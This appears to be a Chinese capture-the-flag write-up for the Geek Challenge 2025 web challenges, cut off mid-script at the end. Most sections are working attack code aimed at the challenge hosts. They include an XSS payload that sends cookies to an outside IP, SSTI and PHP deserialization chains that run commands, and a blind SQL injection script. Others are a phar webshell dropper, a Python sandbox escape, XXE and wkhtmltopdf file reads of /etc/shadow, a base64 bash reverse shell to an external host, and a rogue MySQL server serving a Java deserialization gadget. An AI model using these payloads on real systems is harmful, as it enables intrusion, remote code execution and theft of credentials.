极客大挑战2025wp

tiran Lv2

web-阿基里斯追乌龟

控制台改值(抓包改也可以

web-Vibe SEO

题目提示站点地图,sitemap

提示缺少filename参数,传他自己

拿到源码

由于my_my_secret.txt已经使用fopen打开,使用我们可以在fd文件中找到

web-Xross The Finish Line

是一个留言板,xss盗管理员cookie

没有过滤svg标签,过滤空格用%09绕过,单引号使用html编码

payload

1
content=<svg%09onload=fetch(%26%23x27%3bhttp://47.xxx.xxx.xxx/?jkdtz=%26%23x27%3b%2bdocument.cookie)>

web-Expression

随便注册一个账号,登陆发现回显了用户名,并且使用jwt

爆破密钥

修改用户名

存在ssti,没过滤

payload

1
2
3
<%- global.process.mainModule.require('child_process').execSync('env') %>

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjFAcXEuY29tIiwidXNlcm5hbWUiOiI8JS0gZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2VudicpICU-IiwiaWF0IjoxNzYyMzM5NDk5LCJleHAiOjE3NjI5NDQyOTl9.SIX4jzC7kAGdZ2Q3niXnwbmrHcUZEPPiCLc9qiKdUJQ

web-popself

给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;

public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";

$fox = $this->Fox;

if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}

public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){

echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}

if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}

public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}

public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}

class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}

?>

首先他有一个MD5比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __destruct(){

echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}

if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}

找两个数

1
2
3
4
5
6
hgccx3
md5(hgccx3) = 35d5cc463b35382b160ff5ba1c24ee86
md5(md5(hgccx3)) = 0e742678484972759051041417502882

s155964671a
md5(s155964671a) = 0e342768416822451524974117254469

弱比较能过,强比较不行

1
2
3
4
5
public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}

使用数组来实现调用某个类中的某个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class B {
public $flag;
public function greet() {
echo $this->flag;
}
}

$a = new B();
$a->flag = "FLAG{example_flag_value}";

$f = [$a, 'greet'];
$f();

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class All_in_one
{
public $KiraKiraAyu;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public $_4ak5ra;
}

class summer {}

// 对象a: 触发__destruct
$a = new All_in_one();
$a->KiraKiraAyu = "hgccx3"; // MD5碰撞值1
$a->K4per = "s155964671a"; // MD5碰撞值2

// 对象b: 触发__set
$b = new All_in_one();
$b->Fox = "summer::find_myself"; // 返回"summer"
$b->komiko = new All_in_one(); // 触发__call
$b->L = "1e5"; // 科学计数法,满足<4且+1>10000

// 对象c: 最终执行system
$c = new All_in_one();
$c->Samsāra = "system";
$c->ivory = "env";

// 对象d: 触发__toString -> __invoke
$d = new All_in_one();
$d->_4ak5ra = [$c, "__invoke"];

// 连接利用链
$b->sleep3r = $d; // __call的第二个参数,触发__toString
$a->QYQS = $b; // __destruct设置partner时触发__set

echo urlencode(serialize($a));
?>

web-one_last_image

文件上传

web-Sequal No Uta

存在sql注入,过滤空格%09绕过

打布尔盲注,payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import string

base_url = "http://019a53f5-d0fc-76cc-ac28-806865babac6.geek.ctfplus.cn/check.php"

charset = sorted(string.ascii_letters + string.digits + "._{}-,") # 二分法需要有序
result = ""
pos = 1

def test_payload(base_url, payload):
payload = payload.replace(" ", "%0a")
response = requests.get(base_url, params=payload)
if "该用户存在且活跃" in response.text:
return True
return False

while True:
left, right = 0, len(charset) - 1

# 二分查找当前位置的字符
while left < right:
mid = (left + right) // 2
ch = charset[mid]

# 只需要检查是否大于mid字符
payload = f"name=admin' AND substr((SELECT group_concat(secret, ',') FROM users),{pos},1)>'{ch}'-- "
if test_payload(base_url, payload):
left = mid + 1 # 目标字符在右半部分
else:
right = mid # 目标字符在左半部分(包括mid)

# left == right 时找到目标字符
if left < len(charset):
result += charset[left]
print(f"[+] 当前爆破结果: {result}")
pos += 1
else:
print("[*] 爆破结束")
break

print("[*] 枚举完成:", result)

web-ez_read

先随便注册一个账号

发现任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload


@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))


@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)

try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)


@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []

filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""

content = None
error = None

if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

已经拿到了waf,写一个转发脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from flask import Flask, request, Response
import requests
import re

app = Flask(__name__)

TARGET_BASE = "http://019a3f40-aa02-7642-88c4-a0afe07407cf.geek.ctfplus.cn/"

@app.route("/")
def forward():
name = request.args.get("name")
if not name:
return "请提供name参数", 400
password = "1"
reg_name = name + 'a' * (114 - len(name)) # 填充到114长度以绕过waf
s = requests.Session()
s.post(f"{TARGET_BASE}/register", data={"username": reg_name, "password": password})
s.post(f"{TARGET_BASE}/login", data={"username": reg_name, "password": password})
r = s.get(f"{TARGET_BASE}/profile")
# 提取<div class="rendered">...</div>的内容
m = re.search(r'<div class="rendered">(.*?)</div>', r.text, re.DOTALL)
if not m:
return "未找到<div class=\"rendered\">", 404
content = m.group(1)
# 查找“欢迎,”(中文逗号),并只返回后面的内容
idx = content.find("欢迎,")
if idx == -1:
return "Not Found", 404
result = content[idx + len("欢迎,") :]
if not result:
return "Not Found", 404
return Response(result, content_type="text/plain; charset=utf-8")

if __name__ == "__main__":
app.run("0.0.0.0", 5000, debug=True)

读取env,发现hint让我那他提权

web-百年继承

是一个py的原型链污染

首先污染execute_method

发现让他处决失败并没有给出flag

但是发现他回显了处决失败,所以让他命令执行

1
{"__class__": {"__base__": {"__base__": {"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('subprocess').check_output(['env']).decode())"}}}}

web-ez-seralize

首先是一个文件读取,我们可以读取index.php,在index中发现了一些配置

限制了open_basedir

然后发现require 'function.php';也读取一下发现是类

然后扫目录发现了uploads.php

通过简单分析就可以发现利用过程

首先需要根据function.php中的类生成一个恶意的phar文件,然后通过phar://伪协议来触发,最后读取/tmp/flag即可

链子不复杂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class A { public $file; public $luo; }
class B { public $a; public $test; }
class C { public $b; public function rce_me() {} }

$c = new C();
$binvoke = new B();
$binvoke->a = $c;
$binvoke->test = 'helper';

$a = new A();
$a->luo = $binvoke;

$entry = new B();
$entry->test = $a;
$entry->a = $c;

@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.txt", "test");
$phar->setMetadata($entry);
$phar->stopBuffering();

echo "Created payload.phar\n";
?>

生成后改名为1.jpg上传

上传后看log获取文件名

然后phar://触发

成功触发

web-eeeeezzzzzzZip

扫目录发现源码

拿到账号密码

考点php 文件上传不含一句 php 代码 RCE 最新新姿势-先知社区

生成恶意文件脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$phar_file = 'exploit.phar';
$phar = new Phar($phar_file);
$phar->startBuffering();

$stub = <<< 'STUB'
<?php
system('echo "<?=eval(\$_POST[1]);" > 1.php');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

echo "PHAR '{$phar_file}' created.\n";

$gz_file = 'exploit.phar.gz';

$phar_content = file_get_contents($phar_file);

$gz_content = gzencode($phar_content, 9);
echo "PHAR content compressed to Gzip.\n";

file_put_contents($gz_file, $gz_content);

echo "Gzip file '{$gz_file}' created.\n";
?>

web-路在脚下

web-路在脚下_revenge

web-misc-西纳普斯的许愿碑

给出源码,是一个沙箱逃逸的题目

有个关键路由/api/wishes

get 是沙箱执行wishes列表中的命令

post 是写入wishes(0.5秒会清空一次)

重点分析 wish_stone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import multiprocessing
import sys
import io
import ast


class Wish_stone(ast.NodeVisitor):
forbidden_wishes = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}

def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr in self.forbidden_wishes:
raise ValueError
self.generic_visit(node)

def visit_GeneratorExp(self, node):
raise ValueError

SAFE_WISHES = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook,
"Exception": Exception,
}

def wish_granter(code, result_queue):
safe_globals = {"__builtins__": SAFE_WISHES}

sys.stdout = io.StringIO()
sys.stderr = io.StringIO()

try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
if error:
result_queue.put(("err", error))
else:
result_queue.put(("ok", output))
except Exception:
import traceback
result_queue.put(("err", traceback.format_exc()))


def safe_grant(wish: str, timeout=3):
wish = wish.encode().decode('unicode_escape')
try:
parse_wish = ast.parse(wish)
Wish_stone().visit(parse_wish)
except Exception as e:
return f"Error: bad wish ({e.__class__.__name__})"

result_queue = multiprocessing.Queue()
p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue))
p.start()
p.join(timeout=timeout)

if p.is_alive():
p.terminate()
return "You wish is too long."

try:
status, output = result_queue.get_nowait()
print(output)
return output if status == "ok" else f"Error grant: {output}"
except:
return "Your wish for nothing."


CODE = '''
def wish_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
addaudithook(wish_checker)
print("{}")
'''

badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")


def evaluate_wish_text(text: str) -> str:
for ch in badchars:
if ch in text:
print(f"ch={ch}")
return f"Error:waf {ch}"
out = safe_grant(CODE.format(text))
return out

首先在evaluate_wish_text会进行字符检查,通过后拼接进CODE后进入safe_grant

safe_grant先对字符进行decode('unicode_escape'),随后进行ast沙箱检查

检查通过后创建一个线程去执行,return输出

然后CODE是一个audit hook

然后就是绕过了

")--内容--print("就可以就可以执行代码了

safe_grant中有wish = wish.encode().decode('unicode_escape')

所以将内容进行unicode编码即可绕过

然后是绕过沙盒里的审计钩子。这里可以直接重写len方法和list方法,使得他们固定返回指定的bool值

然后就是ast的绕过,禁止了生成器与一些魔术属性与方法,有一个Exception,能用异常栈帧逃逸出来后把visit_Attribute扬了就可以

所以使用以下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
")
list=lambda x:True
len=lambda x:False

try:
raise Exception
except Exception as e:
globals = e.__traceback__.tb_frame.f_back.f_globals
globals['Wish_stone'].visit_Attribute=lambda x,y:None
os = globals["sys"].modules["os"]
result = os.popen("env").read()
print(result)

print("

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
"""
获取远程 FLAG - 精简版
"""
import requests

TARGET_URL = "http://019a77e9-50a8-7842-9624-1886c8136568.geek.ctfplus.cn"

def escape_for_unicode(text):
"""Unicode Escape 编码绕过 badchars"""
badchars = "\"'|&`+-*/()[]{}_ ."
return ''.join(f"\\x{ord(c):02x}" if c in badchars else c for c in text)

# Payload: 栈帧逃逸 + 读取环境变量
payload = '''")
list=lambda x:True
len=lambda x:False

try:
raise Exception
except Exception as e:
globals = e.__traceback__.tb_frame.f_back.f_globals
globals['Wish_stone'].visit_Attribute=lambda x,y:None
os = globals["sys"].modules["os"]
result = os.popen("env").read()
print(result)

print("'''

# 发送并立即读取
requests.post(f"{TARGET_URL}/api/wishes", json={"wish": escape_for_unicode(payload)})
wishes = requests.get(f"{TARGET_URL}/api/wishes").json().get('wishes', [])

# 输出结果
if wishes:
output = wishes[-1]
print(output)
print("\n" + "="*70)
for line in output.split('\n'):
if 'FLAG=' in line:
print(f"🎉 {line}")
print("="*70)
else:
print("[-] 未获取到结果")

参考链接

Python沙箱逃逸 | Tremseの部屋

miniLCTF2025-Web/Misc出题与WP - xt’s blog

web-Image Viewer

是一个图片阅览的功能

他会解析内容然后转成base64字符串

所以我们自然想到了构造一个恶意的svg图片让服务器解析

payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

web-PDF Viewer

打开发现是一个把网站转换为pdf的功能

把里面链接换成我们的vps

发现里面的功能实现是靠一个叫wkhtmltopdf的东西

搜一搜发现文章

1
2
3
4
5
6
7
8
9
<h1>blahblah</h1>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open('GET','file:///etc/passwd');
x.send();
</script>

尝试读环境变量,让我们换思路

然后发现有一个登陆功能

我们又找到一篇文章

去读/etc/shadow

得到密码

web-Xross The Doom

漏洞分析

关键点:

  1. 目标:Bot访问/admin/review/{id}时会携带包含FLAG的cookie([FLAG=flag{xxx}](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html),路径为/admin

  2. DOMPurify绕过:虽然内容经过了DOMPurify过滤,但[admin.js](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html)中存在DOM Clobbering漏洞:

    1
    2
    3
    const auto = asBool(window.AUTO_SHARE);
    const path = asPath(window.CONFIG_PATH);
    const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);
  3. 逻辑漏洞:当这些值为true/特定值时,会自动发送请求带上cookie:

    1
    2
    3
    4
    5
    6
    7
    if (auto) {
    const target = buildTarget('/analytics', path);
    if (includeCookie) {
    qs.set('c', document.cookie);
    }
    fetch(target + '?' + qs.toString());
    }
  4. 路径遍历:[buildTarget](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html)函数支持..来构造任意路径,可以访问/log端点

攻击步骤

创建一个payload,利用DOM Clobbering来控制这些变量:

1
2
3
<a id="AUTO_SHARE"></a>
<a id="CONFIG_COOKIE_DEBUG"></a>
<form id="CONFIG_PATH" action="../log"></form>

这样会导致:

  • [window.AUTO_SHARE](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html) = <a>元素(truthy)
  • [window.CONFIG_COOKIE_DEBUG](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html) = <a>元素(truthy)
  • [window.CONFIG_PATH](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html) = <form>元素,[action=”../log”](vscode-file://vscode-app/d:/Users/tiran/AppData/Local/Programs/Microsoft VS Code/resources/app/out/vs/code/electron-browser/workbench/workbench.html)
  • 最终请求到/log?id=xxx&ua=xxx&c=FLAG=flag{xxx}

然后访问/logs端点查看收集到的cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
import requests
import time
import re
import sys

TARGET = '019a77fb-ace6-70f8-aa39-ce16e4217a99.geek.ctfplus.cn'
BASE_URL = f'http://{TARGET}'

# DOM Clobbering payload
payload = '''<a id="AUTO_SHARE"></a>
<a id="CONFIG_COOKIE_DEBUG"></a>
<form id="CONFIG_PATH" action="../log"></form>'''

def exploit():
print('[*] 开始攻击...')
print(f'[*] 目标: {BASE_URL}')

# 步骤1: 创建恶意帖子
print('[*] 步骤 1: 创建包含DOM Clobbering payload的帖子...')
try:
resp = requests.post(
f'{BASE_URL}/api/posts',
json={
'title': 'Test Post',
'content': payload
},
timeout=10
)
data = resp.json()

if not data.get('ok'):
print(f'[-] 创建帖子失败: {data}')
return

post_id = data['id']
print(f'[+] 帖子创建成功! ID: {post_id}')

except Exception as e:
print(f'[-] 请求失败: {e}')
return

# 步骤2: 触发bot访问
print('[*] 步骤 2: 触发bot访问...')
try:
resp = requests.get(
f'{BASE_URL}/bot',
params={'id': post_id},
timeout=10
)
bot_data = resp.json()
print(f'[+] Bot触发成功: {bot_data.get("message", "ok")}')

except Exception as e:
print(f'[-] 触发bot失败: {e}')
return

# 步骤3: 等待bot访问完成
print('[*] 步骤 3: 等待bot处理 (5秒)...')
time.sleep(5)

# 步骤4: 获取日志
print('[*] 步骤 4: 获取日志...')
try:
resp = requests.get(f'{BASE_URL}/logs', timeout=10)
logs_data = resp.json()

if 'logs' not in logs_data or len(logs_data['logs']) == 0:
print('[-] 未找到日志')
return

print('\n[+] 日志记录:')
print('=' * 60)

# 查找包含FLAG的日志
flag_found = False
for log in logs_data['logs']:
print(f"\n时间: {log.get('time', 'N/A')}")
print(f"Cookie: {log.get('cookie', 'N/A')}")
print(f"User-Agent: {log.get('ua', 'N/A')}")

cookie = log.get('cookie', '')
if 'FLAG=' in cookie:
flag_match = re.search(r'FLAG=([^;]+)', cookie)
if flag_match:
flag = flag_match.group(1)
print('\n' + '=' * 60)
print('🚩 FLAG 找到了!')
print(f'🚩 {flag}')
print('=' * 60)
flag_found = True

if not flag_found:
print('\n[-] 未在日志中找到FLAG,可能需要重试')

except Exception as e:
print(f'[-] 获取日志失败: {e}')
return

if __name__ == '__main__':
try:
exploit()
except KeyboardInterrupt:
print('\n[!] 用户中断')
sys.exit(1)
except Exception as e:
print(f'[-] 错误: {e}')
sys.exit(1)

web-路在脚下_revenge

回显name字段

测试发现是一个无回显的ssti

反弹shell

1
{{((sbwaf|attr('__eq__'))['__g''lobals__']['s''ys']['modules']['o''s']['po''pen']('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMjIuMTE1LjI5Lzc3NzcgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}\''))['read']()}}

web-ezjdbc

根据依赖和源码,确定要打JBDC反序列化

在vps上启用一个恶意mysql服务,传输payload

脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# -*- coding: utf-8 -*-

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = binascii.b2a_hex(f.read()).decode()
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d0364656